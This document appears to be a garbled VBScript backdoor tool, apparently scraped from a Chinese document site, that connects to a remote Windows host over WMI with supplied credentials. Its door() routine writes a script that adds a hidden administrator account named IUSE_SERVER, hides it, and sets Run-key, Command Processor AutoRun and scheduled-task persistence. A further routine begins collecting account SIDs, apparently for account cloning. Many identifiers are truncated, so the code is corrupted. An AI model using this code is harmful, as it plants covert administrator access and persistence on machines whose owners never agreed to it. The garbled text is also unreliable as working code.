2024年4月3日发(作者：)

ipaddress=nts(0)

username=nts(1)

password=nts(2)

usage()

"Conneting "&ipaddress&"...."

set objlocator=createobject("ocator") '20

set objswbemservices=tserver(ipaddress,"root/cimv2",username,password)

ty_. 23,true

ty_. 18,true

ty_. 7,true

ty_. 11,true

if errornumber<>0 then

"Error!"

call main()

else

"OK!"

end if

call main()

'***********************************************************

function door()

"Creating the blankdoor .."

set objinstproc=("win32_process")

cmddoor="cmd /c echo dim wsh,FA,FSO,t>%windir%" _

&"&& echo set fso=CreateObject(""stemObject"") >>%windir%" _

&"&& echo Set FA= e(FullName)>>%windir%" _

&"&& echo utes =34>>%windir%" _

&"&& echo set t=TextFile(""%windir%"",true)>>%windir%" _

&"&& echo ine(""net user IUSE_SERVER /add"")>>%windir%" _

&"&& echo ine(""net localgroup administrators IUSE_SERVER /add"")>>%windir%" _

&"&& echo ine(""Attrib +h %windir%"")>>%windir%" _

&"&& echo >>%windir%"_

&"&& echo set wsh=CreateObject("""")>>%windir%" _

&"&& echo ""net user IUSE_SERVER /add"",0,true>>%windir%" _

&"&& echo ""net localgroup administrators IUSE_SERVER /add"" ,0,true>>%windir%" _

&"&& echo te

""HKLMSoftwareMicrosoftWindowsCurrentVersionRunWin32"",""%windir%"">>%windir%" _

&"&& echo te

""HKLMSoftwareMicrosoftWindowsCurrentVersionexplorerAdvancedFolderHiddenSHOWALLCheckedValue"",0,""REG_DWORD"">>%win

dir%" _

&"&& echo te ""HKEY_LOCAL_MACHINESoftwareMicrosoftCommand

ProcessorAutoRun"",""%windir%"">>%windir%" _

&"&& echo te ""HKEY_CURRENT_USERSoftwareMicrosoftCommand

ProcessorAutoRun"",""%windir%"">>%windir%" _

&"&& echo ""cmd /c at 20:00,20:10,20:20,20:30 %windir%"",0,true

>>%windir%"

(cmddoor)

showerror()

(1500)

"Runing the blankdoor .."

("cmd /c cscript %windir%")

showerror()

call main()

end function

'***********************************************************

function ca()

"enter the causername:"

causername=ne()

"enter the capassword:"

capassword=ne()

"Getting SID of "&causername&" ...."

set colinstsid=ery("select * from win32_useraccount where name="&chr(34)&causername&chr(34))

for each objinstsid in colinstsid

strsid=

sidflag=right(strsid,len(strsid)-instrrev(strsid,"-"))